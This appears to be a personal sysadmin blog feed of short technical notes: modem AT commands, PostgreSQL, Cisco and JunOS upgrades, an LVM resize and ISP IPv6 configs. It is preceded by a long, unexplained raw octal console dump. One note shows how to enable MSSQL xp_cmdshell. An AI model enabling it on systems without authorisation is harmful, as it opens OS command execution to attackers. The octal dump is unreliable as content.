000337
!0a 000000A 056000

!0a 000000A 056000
000001A 006000
000002A 000040

!o
000340
!o
000342
!o
000343
!0a 000000A 056000

!o
000345
!1a 000001A 006000

!o
000346
!1a 000001A 006001

!o
000337
!o
000340
!o
000342
!o
000343
!0a 000000A 056000

!o
000345
!o
000346
!o
000337
!o
000340
!o
000342
!o
000343
!o
000345
!o
000346
!o
000337
!o
000340
!o
000342
!o
000343
!o
000345
!o
000346
!o
000337
!o
000340
!o
000342
!o
000343
!o
000345
!o
000346
!o
000337
!o
000340
!o
000342
!o
000343
!o
000345
!o
000346
!o
000337
!o
000340
!o
000342
!o
000343
!o
000345
!o
000346
!?
!00337
!?
!00340
!?
!00342
!?
!00343
!?a 000000A 056000
!
!?
!6a 000006A 021076
?
!0a 000000A 056000
?
!4a 000004A 100343 100330
?
!p
000340
!1a 000001A 131427

!0a 000000A 056000
?
!

!

!

!

!300/000300 020306
000301 061126
000302 063526
000303 000302
000304 064626
000305 063077
000306 006000

!306/000306 006000 6400

!4a 000004A 100340 100300

!p
000306
!1a 000001A 016000

!4a 000004A 100306 100330

!o
000331
!o
000332
!o
000333
!o
000332
!o
000334
!o
000335
!0a 000000A 056000

!337/000337 065226 065126

!342/000342 060626 060726

!4a 000004A 100335 100330

!p
000345
!0a 000000A 056000

!1a 000001A 014007

!352/000352 177046
000353 035177
000354 003333
000355 107504
000356 021543
000357 064475
000360 072005
000361 043061
000362 005461
000363 163733
000364 113115
000365 010477
000366 010423
000367 102400
000370 110630
000371 046400
000372 016153

!352/000352 177046 113414

!353/000353 035177 063077
000354 003333 063077

!2a 000002A 000040

!0a 000000A 056000 177777

!4a 000004A 100345 352

!4a 000004A 000352 100352

!o
000353
!0a 000000A 177777 0

!4a 000004A 100353 100352

!o
000354
!0a 000000A 000000 40

!4a 000004A 100354 100352

!o
000353
!330/000330 006714 020353
000331 103166

!330/000330 020353 020352
000331 103166 061126
000332 121160 063526
000333 072137 00032
000334 173722

!333/000333 000032 332
000334 173722 060626
000335 004140 024353
000336 002413 030354
000337 117564 034355
000340 034255 055126

!340/000340 055126 065126
000341 145113 063526
000342 000027 000341
000343 147677 060726
000344 101726 113414
000345 050502 063077
000346 053340 104010
000347 156343 137415
000350 111641 06306

!350/000350 006306 063077
000351 176331 000340
000352 113414 007000
000353 063077 006000
000354 063077 77
000355 107504 777

!0a 000000A 000040

!40

!4a 000004A 100353 100330

!p
000351
!0a 000000A 016000
000001A 007000
000002A 000077

!?
!?
!310/000310 034000 20323
000311 016033 061029?
!311/000311 016033 61026
000312 012213 20324
000313 062426 62026
000314 115277 20325
000315 142572 63126
000316 103200 063526
000317 171463 000316
000320 027104 060626
000321 001733 065626
000322 117531 063077
000323 067466 0

!324/000324 174471 400
000325 041764 177400

!4a 000004A 100351 100310

!p
000323
!0a 000000A 016010

!0

!33

!4a 000004A 100323 100330

!p
000351
!330/000330 020352 20357

!351/000351 000340

!330/000330 020357 20357
000331 061126
000332 063526
000333 000332
000334 060626
000335 024353 24360
000336 030354 30361
000337 034355 34362
000340 065126
000341 063526
000342 000341
000343 060726
000344 113414 020363
000345 063077 061126
000346 104010 063526
000347 137415 000346
000350 063077 060726
000351 000340 113415
000352 007000 063077
000353 006000 104010
000354 000077 137415
000355 000777 063077
000356 021543 000340
000357 064475 7000
000360 072005 6000
000361 043061 77
000362 005461 777
000363 163733 0

!3

!4a 000004A 100351 10330

!4a 000004A 010330 100330

!p
000353
!0a 000000A 056000 1a 000001A 006000

!0a 000000A 056000
000001A 006000
000002A 000077
000003A 000777

!330a 100430 000000

!330/000330 020357

!4a 000004A 100353 100330

!o
000331
!o
000332
!o
000334
!o
000335
!0a 000000A 056000

!o
000336
!o
000337
!o
000340
!o
000341
!o
000343
!o
000344
!0a 000000A 056000

!o
000345
!0a 000000A 000000

!o
000346
!o
000350
!o
000351
!0a 000000A 056010

!o
000353
!o
000354
!1a 000001A 006001

!o
000356
!o
000340
!o
000341
!o
000343
!o
000344
!0a 000000A 016000

!o
000345
!o
000346
!o
000350
!o
000351
!0a 000000A 016010

!p
000353
!1a 000001A 006643

!0a 000000A 016000

!400/000400 155555
000401 155555
000402 155555
000403 155555
000404 155555
000405 155555
000406 155555
000407 155555
000410 155555
000411 155555
000412 155555
000413 155555
000414 155555
000415 155555
000416 155555
000417 155555
000420 155555
000421 155555
000422 155555
000423 155555
000424 155555
000425 155555
000426 155555
000427 155555
000430 155555
000431 155555
000432 155555
000433 155555
000434 155555
000435 155555
000436 155555
000437 155555
000440 155555
000441 155555
000442 155555
000443 155555
000444 155555
000445 155555
000446 155555
000447 155555
000450 155555
000451 155555
000452 155555
000453 155555
000454 155555
000455 155555
000456 155555
000457 155555
000460 155555
000461 155555
000462 155555
000463 155555
000464 155555
000465 155555
000466 155555
000467 155555
000470 155555
000471 155555
000472 155555
000473 155555
000474 155555
000475 155555
000476 155555
000477 155555
000500 155555
000501 155555
000502 155555
000503 155555
000504 155555
000505 155555
000506 155555
000507 155555
000510 155555
000511 155555
000512 155555
000513 155555
000514 155555
000515 155555
000516 155555
000517 155555
000520 155555
000521 155555
000522 155555
000523 155555
000524 155555
000525 155555
000526 155555
000527 155555
000530 155555
000531 155555
000532 155555
000533 155555
000534 155555
000535 155555
000536 155555
000537 155555
000540 155555
000541 155555
000542 155555
000543 155555
000544 155555
000545 155555
000546 155555
000547 155555
000550 155555
000551 155555
000552 155555
000553 155555
000554 155555
000555 155555
000556 155555
000557 155555
000560 155555
000561 155555
000562 155555
000563 155555
000564 155555
000565 155555
000566 155555
000567 155555
000570 155555
000571 155555
000572 155555
000573 155555
000574 155555
000575 155555
000576 155555
000577 155555
000600 155555
000601 155555
000602 155555
000603 155555

!400/000400 155555 0
?
!

!400/000400 000000 0
000401 155555 0
000402 155555 0
000403 155555 0
000404 155555 0
000405 155555 0
000406 155555 0
000407 155555 0
000410 155555 0
000411 155555 0
000412 155555 0
000413 155555 0
000414 155555

!400/000400 000000
000401 000000
000402 000000
000403 000000
000404 000000
000405 000000
000406 000000
000407 000000
000410 000000
000411 000000
000412 000000
000413 000000
000414 155555
000415 155555

!p
000356
!1a 000001A 007000

!4a 000004A 100356 100330

!p
000353
!400/000400 000000
000401 000000
000402 000000
000403 000000
000404 000000
000405 000000
000406 000000
000407 000000
000410 000000
000411 000000
000412 000000
000413 000000
000414 155555
000415 155555
000416 155555
000417 155555
000420 155555
000421 155555
000422 155555
000423 155555
000424 155555
000425 155555
000426 155555
000427 155555
000430 155555
000431 155555
000432 155555
000433 155555
000434 155555
000435 155555
000436 155555
000437 155555
000440 155555
!0a 000000A 016000
!500/000500 155555
!31
!4a 000004A 100353 100310
!p
000323
!4a 000004A 100323 100330
!p
000353
!1a 000001A 006000
!a 000000A 056000
!400/000400 155555
000401 155555
000402 155555
000403 155555
000404 155555
000405 155555
000406 155555
000407 155555
000410 155555
000411 155555
000412 155555
000413 155555
000414 155555
000415 155555
000416 155555
000417 155555
000420 155555
000421 155555
000422 155555
000423 155555
000424 155555
000425 155555
000426 155555
000427 155555
000430 155555
000431 155555
000432 155555
000433 155555
000434 155555
000435 155555
000436 155555
000437 155555
000440 155555
000441 155555
000442 155555
000443 155555
000444 155555
000445 155555
000446 155555
000447 155555
000450 155555
000451 155555
000452 155555
000453 155555
000454 155555
000455 155555
000456 155555
000457 155555
000460 155555
000461 155555
000462 155555
000463 155555
000464 155555
000465 155555
000466 155555
000467 155555
000470 155555
000471 155555
000472 155555
000473 155555
000474 155555
000475 155555
000476 155555
000477 155555
000500 155555
000501 155555
000502 155555
000503 155555
000504 155555
000505 155555
000506 155555
000507 155555
000510 155555
!0a 000000A 056000
?
!
!330/000330 020357 20363
!330/000330 020363 20363
000331 061126 61126
000332 063526 63526
000333 000332 332
000334 060626
000335 024360 24364
000336 030361 30365
000337 034362 34366
000340 065126
000341 063526
000342 000341
000343 060726
000344 020363
000345 061126 62026
000346 063526
!344/000344 020363
000345 062026 61026
000346 063526 20324
000347 000346 62026
000350 060726 20325
000351 113415 63126
000352 063077 63526
000353 104010 352
000354 137415 60726
000355 063077 113415
000356 000340 63077
000357 007000 104010
000360 006000 137415
000361 000077 63077
000362 000777 340
000363 000000 7000
000364 113115 6000
000365 010477 77
000366 010423 777
000367 102400 0
!400/000400 155555 0
000401 155555 0
000402 155555 0
000403 155555
!4a 000004A 100353 100330
!p
000357
!0a 000000A 056000
!400/000400 000000
000401 000000
000402 000000
000403 155555
000404 155555
0?0405 155555
!00406 155555
000407 155555
!00410 155555
000411 155555
!00412 155555
!0a 000000A 056000
!1a 000001A 006000
!p
000357
!400/000400 000000
!p
000357
!0a 000000A 056000
!1a 000001A 006002
!344/000344 020363 20367
?
!
!4a 000004A 100357 100330
!p
000357
!0a 000000A 016000
!1a 000001A 006643
!400/000400 155555
000401 155555
000402 155555
000403 155555
000404 155555
000405 155555
000406 155555
000407 155555
000410 155555
000411 155555
000412 155555
000413 155555
000414 155555
000415 155555
000416 155555
000417 155555
000420 155555
000421 155555
000422 155555
000423 155555
000424 155555
000425 155555
000426 155555
000427 155555
000430 155555
!p
000362
!367/000367 000000 55
!4a 000004A 100362 100330
!p
000362
!367/000367 000055 1
!4a 000004A 100362 100330
!p
000357
!0a 000000A 016000
000001A 006621
!400/000400 155555
000401 155555
000402 155555
000403 155555
000404 155555
000405 155555
000406 155555
000407 155555
000410 155555
000411 155555
000412 155555
000413 155555
000414 155555
000415 155555
000416 155555
000417 155555
000420 155555
000421 155555
000422 155555
000423 155555
000424 155555
000425 155555
000426 155555
000427 155555
000430 155555
000431 155555
000432 155555
000433 155555
!400
!400/000400 155555 0
000401 155555 0
000402 155555
!4a 000004A 100357 100330
!p
000357
!400/000400 155555 0
!367/000367 000001 2
!330
!4a 000004A 100357 100330
!p
000357
!0a 000000A 056000
000001A 006000
000002A 000077
!400/000400 155555
!p
000357
!400/000400 155555
!p
000357
!400/000400 155555
!p
000357
!400/000400 155555
!p
000357
!440
!400/000400 155555
!p
000357
!400/000400 155555
!1a 000001A 006627
!0a 000000A 016000
!p
000357
!0a 000000A 016000
000001A 006631
000002A 000077
!400/000400 155555
!p
000357
!400/000400 155555
!p
000357
!p
000357
!p
000357
!p
000357
!p
000357
!p
000357
!p
000357
!p
000357
!p
000357
!400/000400 155555
!p
000357
!400/000400 155555
!p
000357
!400/000400 155555
!p
000357
!400/000400 155555
!p
000357
!p
000357
!400
!400p
000357
!p
000357
!400/000400 155555
!p
000357
!400/000400 155555
!p
000357
!p
000357
!p
000357
!p
000357
!p
000357
!400/000400 155555
!p
000357
!400/000400 155555
!p
000357
!p
000357
!p
000357
!p
000357
!p
000362
!400/000400 155555
!467\_
!367/000367 000002 3
!4a 000004A 100362 100330
!p
000357
!400/000400 155555
!ü

New Laptop - Thinkpad X230

Sat, 14 Dec 2013 06:53:39 +0000

Hauwei dongle AT commad

Tue, 18 Jun 2013 05:09:39 +0000

AT^U2DIAG=1 Modem and CD-Rom Mode
AT^U2DIAG=255 Modem+CD-Rom+Card-Reader Modem+ Factory Defaults Setting
AT^U2DIAG=256 Modem+Card-Reader Mode
AT^U2DIAG=257 Disable Application Port
AT^U2DIAG=276 Reset to factory Defaults

AT^CVOICE=? Gives Status of your modems voice..
AT^CVOICE=0 Enable Voice
AT^CVOICE=1 Disable Voice

ATI  Gives Manufacture Information of Modem
AT+CGMR  Gives firmware version of Modem
AT+CGSN  Gives IMEI of Modem
AT+CIMI  Gives IMSI of Modem

MSSQL Enable xp_cmdshell

Tue, 18 Jun 2013 05:00:36 +0000

Execute a query with a sysadmin grant user.

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC
sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO

Upgrade PGSQL from 9.1 to 9.2

Tue, 18 Jun 2013 04:56:58 +0000

Retrieving http://yum.postgresql.org/9.2/redhat/rhel-6-x86_64/pgdg-centos92-9.2-6.noarch.rpm
Preparing...                ########################################### [100%]
1:pgdg-centos92          ########################################### [100%]
[root@srv02mil1 ~]# yum install postgresql92-server postgresql92-contrib postgresql92 postgresql92-libs
[root@srv02mil1 ~]# /etc/init.d/postgresql-9.1 stop
Stopping postgresql-9.1 service:                           [  OK  ]
[root@srv02mil1 ~]# su - postgres
[postgres@srv01mil1 ~]$ /usr/pgsql-9.2/bin/pg_upgrade -b /usr/pgsql-9.1/bin/ -B /usr/pgsql-9.2/bin/ -d /var/lib/pgsql/9.1/data/ -D /var/lib/pgsql/9.2/data/
Performing Consistency Checks
-----------------------------
Checking current, bin, and data directories                 ok
Checking cluster versions                                   ok
Checking database user is a superuser                       ok
Checking for prepared transactions                          ok
Checking for reg* system OID user data types                ok
Checking for contrib/isn with bigint-passing mismatch       ok
Creating catalog dump                                       ok
Checking for presence of required libraries                 ok
Checking database user is a superuser                       ok
Checking for prepared transactions                          ok
If pg_upgrade fails after this point, you must re-initdb the
new cluster before continuing.
Performing Upgrade
------------------
Analyzing all rows in the new cluster                       ok
Freezing all rows on the new cluster                        ok
Deleting files from new pg_clog                             ok
Copying old pg_clog to new server                           ok
Setting next transaction ID for new cluster                 ok
Resetting WAL archives                                      ok
Setting frozenxid counters in new cluster                   ok
Creating databases in the new cluster                       ok
Adding support functions to new cluster                     ok
Restoring database schema to new cluster                    ok
Removing support functions from new cluster                 ok
Copying user relation files
ok
Setting next OID for new cluster                            ok
Creating script to analyze new cluster                      ok
Creating script to delete old cluster                       ok
Upgrade Complete
----------------
Optimizer statistics are not transferred by pg_upgrade so,
once you start the new server, consider running:
analyze_new_cluster.sh
Running this script will delete the old cluster's data files:
delete_old_cluster.sh
[postgres@srv01mil1 ~]$
[postgres@srv01mil1 ~]$ exit
logout
[root@srv02mil1 ~]# /etc/init.d/postgresql-9.2 start
Starting postgresql-9.2 service:                           [  OK  ]

Out-of-Office for sometime

Sat, 06 Apr 2013 07:26:32 +0000

Domino - Outbound internet address conversion

Mon, 25 Mar 2013 23:16:03 +0000

Messaging => Configurations => MIME => Conversion Options

PEN

Mon, 04 Mar 2013 09:07:37 +0000

Dear Leonardo Rizzi,

Your application [Request-54213] has been completed and a PEN has been assigned.

Your organization’s PEN is: 41129

Below is a copy of your PEN record. This record will be visible in the IANA PEN registry within an hour.

The IANA PEN registry is available at the following address:

http://www.iana.org/assignments/enterprise-numbers

Decimal
| Organization
| | Contact
| | | Email
| | | |
41129
  WideNet
    Leonardo Rizzi
      l.rizzi&wide-net.org

Cisco 827 as ADSL RFC 1483 Bridge

Fri, 01 Mar 2013 01:09:03 +0000

This is a configuration for use old cisco 827 router as rfc1483 bridge (a stupid pppoe modem)

version 12.1
no service pad
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Router
!
!
!
!
!
!
ip subnet-zero
no ip routing
!
!
!
!
interface Ethernet0
 no ip address
 no ip route-cache
 bridge-group 1
!
interface ATM0
 no ip address
 no ip route-cache
 no atm ilmi-keepalive
 bundle-enable
 dsl operating-mode auto
!
interface ATM0.1 point-to-point
 no ip route-cache
 pvc 8/35
  encapsulation aal5snap
 !
 bridge-group 1
!
ip classless
no ip http server
!
bridge 1 protocol ieee
!
line con 0
 transport input none
 stopbits 1
line vty 0 4
 login
!
scheduler max-task-time 5000
end

JunOS - Update with low space CF

Thu, 28 Feb 2013 01:59:30 +0000

dmesg tail:

 da0 at umass-sim0 bus 0 target 0 lun 0
 da0: <SanDisk Cruzer Micro 6.51> Removable Direct Access SCSI-0 device
 da0: 1.000MB/s transfers
 da0: 988MB (2025471 512 byte sectors: 64H 32S/T 988C)

root@amnesyac% dd if=/dev/zero of=/dev/da0 bs=128k
2435+0 records in
2434+0 records out
319029248 bytes transferred in 352.314078 secs (905525 bytes/sec)
root@amnesyac% disklabel -R -w da0 auto
root@amnesyac% newfs -U /dev/da0
/dev/da0: 989.0MB (2025468 sectors) block size 16384, fragment size 2048
using 6 cylinder groups of 183.69MB, 11756 blks, 23552 inodes.
with soft updates
super-block backups (for fsck -b #) at:
32, 376224, 752416, 1128608, 1504800, 1880992
root@amnesyac% mkdir /var/tmp/usb
root@amnesyac% mount /dev/da0 /var/tmp/usb
root@amnesyac% mv junos-jsr-12.1R5.5-export.tgz /cf/var/tmp/usb/
root@amnesyac% cli
root@amnesyac> file list detail /var/tmp/usb
/var/tmp/usb:
total 406474
drwxrwxr-x  2 root  operator       512 Feb 28 04:52 .snap/
-rw-r--r--  1 root  wheel  208012563 Feb 27 19:33 junos-jsr-12.1R5.5-export.tgz
root@amnesyac> request system software add junos-jsr-12.1R5.5-export.tgz
ERROR: Missing package: /cf/root/junos-jsr-12.1R5.5-export.tgz
root@amnesyac> request system software add /var/tmp/usb/junos-jsr-12.1R5.5-export.tgz
NOTICE: Validating configuration against junos-jsr-12.1R5.5-export.tgz.
NOTICE: Use the 'no-validate' option to skip this if desired.
Checking compatibility with configuration
Initializing...
Verified manifest signed by PackageProduction_9_6_0
Using /var/tmp/usb/junos-jsr-12.1R5.5-export.tgz
Checking junos requirements on /
Available space: 80793 require: 4688
Saving boot file package in /var/sw/pkg/junos-boot-jsr-12.1R5.5.tgz
Verified manifest signed by PackageProduction_12_1_0
Hardware Database regeneration succeeded
Validating against /config/juniper.conf.gz
cp: /cf/var/validate/chroot/var/etc/resolv.conf and /etc/resolv.conf are identical (not copied).
cp: /cf/var/validate/chroot/var/etc/hosts and /etc/hosts are identical (not copied).
[edit system services ssh]
'ssh'
warning: daemon binary /usr/sbin/sshd not found
mgd: commit complete
Validation succeeded
Installing package '/var/tmp/usb/junos-jsr-12.1R5.5-export.tgz' ...
Verified junos-boot-jsr-12.1R5.5.tgz signed by PackageProduction_12_1_0
Verified junos-jsr-12.1R5.5-export signed by PackageProduction_12_1_0
Available space: 81388 require: 4688
WARNING: JUNOS edition export != domestic, need to regenerate ssh host keys
Saving boot file package in /var/sw/pkg/junos-boot-jsr-12.1R5.5.tgz
JUNOS 12.1R5.5 will become active at next reboot
WARNING: A reboot is required to load this software correctly
WARNING:     Use the 'request system reboot' command
WARNING:         when software installation is complete
Saving package file in /var/sw/pkg/junos-12.1R5.5.tgz ...
cp: /var/sw/pkg/junos-12.1R5.5.tgz: No space left on device
Saving state for rollback ...
root@amnesyac> request system reboot
Reboot the system ? [yes,no] (no) yes
Shutdown NOW!
[pid 1988]
root@amnesyac>
*** FINAL System shutdown message from root@amnesyac ***
System going down IMMEDIATELY
Timeout, server not responding.

IBM CIM Agent for DS Open API

Sun, 17 Feb 2013 14:06:47 +0000

Device successfully added.
C:\Program Files (x86)\IBM\dsagent\bin>dscimcli.bat lsdev -l
Type  IP                                      IP2                                     Username  Storage Image    Status     C
ode Level     Min Codelevel
===== ======================================= ======================================= ========= ================ ========== =
============= ==============
DS    10.XX.XX.XX                             -                                       admin     IBM.1750-68XXXXX successful 5
.2.2.533      5.0.6.235
DS    10.XX.XX.XX                             -                                       admin     IBM.1750-68XXXXX successful 5
.2.2.565      5.0.6.235
C:\Program Files (x86)\IBM\dsagent\bin>

pSeries Firmware Upgrade

Sun, 17 Feb 2013 14:03:29 +0000

user fspbld does not exist - using root
group fspbld does not exist - using root
01SF240_418_382             ##################################################
root@localhost:/home/root/code#/usr/lpp/diagnostics/bin/update_flash -f /tmp/fwupdate/01SF240_418_382
The image is valid and would update the temporary image to SF240_418.
The new firmware level for the permanent image would be SF235_214.
The current permanent system firmware image is SF235_214.
The current temporary system firmware image is SF235_214.
***** WARNING: Continuing will reboot the system! *****
Do you wish to continue?
Enter 1=Yes or 2=No
1
SHUTDOWN PROGRAM
Fri Feb  8 10:16:44 CST 2013
0513-044 The sshd Subsystem was requested to stop.
root@localhost:/home/root#/usr/lpp/diagnostics/bin/update_flash -c
The commit operation is in progress. Please stand by.
The commit operation was successful.

Résumé

Mon, 26 Nov 2012 04:00:59 +0000

The timeline of my life:

Blackberry Services Netmask

Mon, 26 Nov 2012 03:30:33 +0000

Recently I’ve deployed some Blackberry Enterprise Server, this link is useful for firewalls policy deploy

http://www.blackberry.com/btsc/KB11036

Linux - KVM Guest LVM Disk Resize

Mon, 26 Nov 2012 03:18:33 +0000

[root@pbx01.mil1.wide-net.org ~]# df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/mapper/VolGroup00-LogVol00
1779856   1553320    138068  92% /
/dev/vda1               101086     40798     55069  43% /boot
tmpfs                   513060         0    513060   0% /dev/shm
[root@pbx01.mil1.wide-net.org ~]# vgscan
Reading all physical volumes.  This may take a while...
Found volume group "VolGroup00" using metadata type lvm2
[root@pbx01.mil1.wide-net.org ~]# fdisk /dev/vda
vda   vda1  vda2
[root@pbx01.mil1.wide-net.org ~]# fdisk /dev/vda
Command (m for help): p
Disk /dev/vda: 4219 MB, 4219469824 bytes
255 heads, 63 sectors/track, 512 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot      Start         End      Blocks   Id  System
/dev/vda1   *           1          13      104391   83  Linux
/dev/vda2              14         382     2963992+  8e  Linux LVM
Command (m for help): d
Partition number (1-4): 2
Command (m for help): p
Disk /dev/vda: 4219 MB, 4219469824 bytes
255 heads, 63 sectors/track, 512 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot      Start         End      Blocks   Id  System
/dev/vda1   *           1          13      104391   83  Linux
Command (m for help): n
Command action
e   extended
p   primary partition (1-4)
p
Partition number (1-4): 2
First cylinder (14-512, default 14):
Using default value 14
Last cylinder or +size or +sizeM or +sizeK (14-512, default 512):
Using default value 512
Command (m for help): p
Disk /dev/vda: 4219 MB, 4219469824 bytes
255 heads, 63 sectors/track, 512 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot      Start         End      Blocks   Id  System
/dev/vda1   *           1          13      104391   83  Linux
/dev/vda2              14         512     4008217+  83  Linux
Command (m for help): t
Partition number (1-4): 2
Hex code (type L to list codes): 8e
Changed system type of partition 2 to 8e (Linux LVM)
Command (m for help): p
Disk /dev/vda: 4219 MB, 4219469824 bytes
255 heads, 63 sectors/track, 512 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot      Start         End      Blocks   Id  System
/dev/vda1   *           1          13      104391   83  Linux
/dev/vda2              14         512     4008217+  8e  Linux LVM
Command (m for help): w
The partition table has been altered!
Calling ioctl() to re-read partition table.
WARNING: Re-reading the partition table failed with error 16: Device or resource busy.
The kernel still uses the old table.
The new table will be used at the next reboot.
Syncing disks.
[root@pbx01.mil1.wide-net.org ~]# reboot
Broadcast message from root (pts/0) (Sat Sep 15 23:36:59 2012):
The system is going down for reboot NOW!
[root@pbx01.mil1.wide-net.org ~]# Connection to pbx01.mil1.wide-net.org closed by remote host.
Connection to pbx01.mil1.wide-net.org closed.
[leo@thinkleo3 ~]$

[root@pbx01.mil1.wide-net.org ~]# pvdisplay
--- Physical volume ---
PV Name               /dev/vda2
VG Name               VolGroup00
PV Size               2.83 GB / not usable 14.52 MB
Allocatable           yes
PE Size (KByte)       32768
Total PE              90
Free PE               26
Allocated PE          64
PV UUID               3KFfOG-kfJZ-hNtT-0vo5-Lpzk-4iMR-rMmLzH
[root@pbx01.mil1.wide-net.org ~]# pvresize /dev/vda2
Physical volume "/dev/vda2" changed
1 physical volume(s) resized / 0 physical volume(s) not resized
[root@pbx01.mil1.wide-net.org ~]# pvdisplay
--- Physical volume ---
PV Name               /dev/vda2
VG Name               VolGroup00
PV Size               3.82 GB / not usable 10.09 MB
Allocatable           yes
PE Size (KByte)       32768
Total PE              122
Free PE               58
Allocated PE          64
PV UUID               3KFfOG-kfJZ-hNtT-0vo5-Lpzk-4iMR-rMmLzH
[root@pbx01.mil1.wide-net.org ~]# lvdisplay
--- Logical volume ---
LV Name                /dev/VolGroup00/LogVol00
VG Name                VolGroup00
LV UUID                f134eo-A1TY-mj72-g16E-oBnl-fnNM-4hULDC
LV Write Access        read/write
LV Status              available
# open                 1
LV Size                1.75 GB
Current LE             56
Segments               2
Allocation             inherit
Read ahead sectors     auto
- currently set to     256
Block device           252:0
--- Logical volume ---
LV Name                /dev/VolGroup00/LogVol01
VG Name                VolGroup00
LV UUID                1gNpNl-ypNO-bj4a-Gsyb-eGnS-UcFh-Rbocfj
LV Write Access        read/write
LV Status              available
# open                 1
LV Size                256.00 MB
Current LE             8
Segments               1
Allocation             inherit
Read ahead sectors     auto
- currently set to     256
Block device           252:1
[root@pbx01.mil1.wide-net.org ~]# lvresize /dev/VolGroup00/LogVol00 -l +1
Extending logical volume LogVol00 to 3.59 GB
Insufficient free space: 1 extents needed, but only 0 available
[root@pbx01.mil1.wide-net.org ~]# resize2fs /dev/VolGroup00/LogVol00
resize2fs 1.39 (29-May-2006)
Filesystem at /dev/VolGroup00/LogVol00 is mounted on /; on-line resizing required
Performing an on-line resize of /dev/VolGroup00/LogVol00 to 933888 (4k) blocks.
The filesystem on /dev/VolGroup00/LogVol00 is now 933888 blocks long.
[root@pbx01.mil1.wide-net.org ~]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/VolGroup00-LogVol00
3.5G  1.5G  1.8G  46% /
/dev/vda1              99M   40M   54M  43% /boot
tmpfs                 502M     0  502M   0% /dev/shm
[root@pbx01.mil1.wide-net.org ~]# reboot
Broadcast message from root (pts/0) (Sat Sep 15 23:43:32 2012):
The system is going down for reboot NOW!
[root@pbx01.mil1.wide-net.org ~]#`

TPC - Storage Resource agent error code

Mon, 26 Nov 2012 03:05:35 +0000

For really strange combination of events, I need this tables of error codes from Tivoli Productivity Center - Storage resource agent.

Return code	Explanation
1	There is a problem uninstalling the Data agent or Fabric agent. For more information about what caused the uninstallation to fail, check the uninstallation logs for the Data agent or Fabric agent.
2	Command not valid.
3	Option provided is not valid.
5	Argument is not valid.
6	Missing value for argument (e.g. -installLoc , where is missing).
7	Missing localized string in message file.
8	Probe is running.
9	Failed to open file for write.
10	Failed to close file.
11	Logfile not specified.19Failed in tracing.21Cannot spawn a probe because it is busy.
30	This is an internal error in initializing tracing. Save the error message and error log and contact your service representative for assistance in resolving the error.
32	Invalid socket.
33	Start service failed.
34	Registry entry not found.
35	Deployment of the agent failed, error creating startup scripts.
36	File does not exist.
40	Missing upgrade files.
41	Failed to extract files in upgrade process.
42	Failed to stop probe in upgrade process.
43	Failed to stop Agent.
44	Failed to start Agent.
45	Agent Registration to server failed.
46	File extraction needs more space.
47	Failed to open archive file.
48	Agent did not start after upgrade.
49	Installation directory not valid at upgrade time.
50	Probe is running.
51	Data file not found.
52	Exit code not in the output file.
53	Failed to send job status.
54	Failed to copy certificate files.
55	Failed to create directory.
56	Failed to remove directory.
57	Exec command failed.
58	Conversion of wide character failed.
59	Installation directory not valid.
60	Server name not defined.
61	Error in removing entries from configuration file.
62	Failed to stop probe at uninstall time.
63	Failed to remove registry entry at uninstall time.
64	Failed to remove service entry at uninstall time.
65	Failed to stop service at uninstall time.
66	Specified server name is not valid.
67	There is an error installing the Storage Resource agent as part of the migration process. For more information about what caused the installation to fail, check the installation logs for the Storage Resource agent.
71	Failed to spawn process.
73	Failed to spawn probe process.
101	Failed to create lock at installation time.
102	Failed to stop probe at re-installation time.
103	Failed to stop agent at re-installation time.
104	Failed to create registry at installation time.
105	Failed to extract files at installation time.
106	Failed to create entries in configuration file at installation time.
107	Failed to stop service at re-installation time.
108	Service already exists.
109	Failed to create service.
110	Failed to start service.
111	Probe failed at installation time.
112	Creation of daemon failed.
113	Installation of GUID failed.
114	Commtype parameter is not valid.
115	Specified port is in use.
116	Installation/Upgrade does not have enough space.
117	Installation in progress.
118	Cannot get server name from Server.
119	Installation location is not empty.
120	Missing parameter Server Name.
121	Missing parameter Server Port.
123	Missing parameter Server IP.
124	Missing parameter Agent Port.
125	Missing parameter Installation location.
127	Deployment from Windows to Linux failed.
130	Failed to send probe results.
131	Failed to initialize Agent.
133	Missing port number for Service.
134	Get data file stat failed.
135	Get data file read failed.
137	Failed to send data to server.
138	Failed to receive data from server.
139	Full path not specified for copy file.
140	Create file failed in copy file function.
141	Write file failed in copy file function.
142	Open file failed in copy file function.
143	Read file failed in copy file function.
145	UCS conversion failed.
146	Server connection failed.
148	Failed to create zip file.
149	Failed to unzip file.
160	Failed to send scan results.
161	Failed to send TSM status results.
164	Failed to validate user.
165	Job file was not found.
166	Job was not stopped.
168	Not enough free space available while copying file from server.
169	Multipath driver not found.
170	Multipath device not found.
171	Multipath policy is not supported.
172	Only Round Robin policy is supported for Multipath DM driver.

IPv6 prefix delegation - Cisco IOS

Sat, 09 Jun 2012 22:35:57 +0000

DRAFT

ipv6 unicast-routing
ipv6 cef
interface FastEthernet0/0
ipv6 address NODE-PD ::1/64
ipv6 enable
interface Dialer0
ipv6 address NODE-PD ::1/128
ipv6 enable
ipv6 dhcp client pd NODE-PD rapid-commit
ipv6 route ::/0 Dialer0

DRAFT

Telecom Italia - IPv6 Pilot on Cisco

Fri, 08 Jun 2012 23:44:20 +0000

To my amazement, Telecom Italia released a pilot project of IPv6 deployment on residential/dynamic ip only adsl internet access, but on theirs support site there’s configuration only for some useless systems. So, I’ve decided to write a configuration for Cisco platform.

Usually the typical Telecom Italia PPPoE or PPPoA ADSL connection with dynamic IPv4 only was authenticated with “aliceadsl” as user and password, now with bran new credential along IPv4 the endpoint router advertise a IPv6 /64 class (always dynamic).

username: adsl@alice6.it password: IPV6@alice6

And now IOS configuration:

- ATM inteface:

interface ATM0/0/0
no ip address
atm restart timer 300
no atm ilmi-keepalive
dsl operating-mode auto
hold-queue 100 in
!
interface ATM0/0/0.1 point-to-point
pvc 8/35
vbr-nrt 380 380
oam-pvc manage
encapsulation aal5mux ppp dialer
dialer pool-member 1

- Dialer inteface:

interface Dialer0
mtu 1492
ip address negotiated
ip nbar protocol-discovery
ip flow ingress
ip virtual-reassembly
encapsulation ppp
dialer pool 1
dialer-group 1
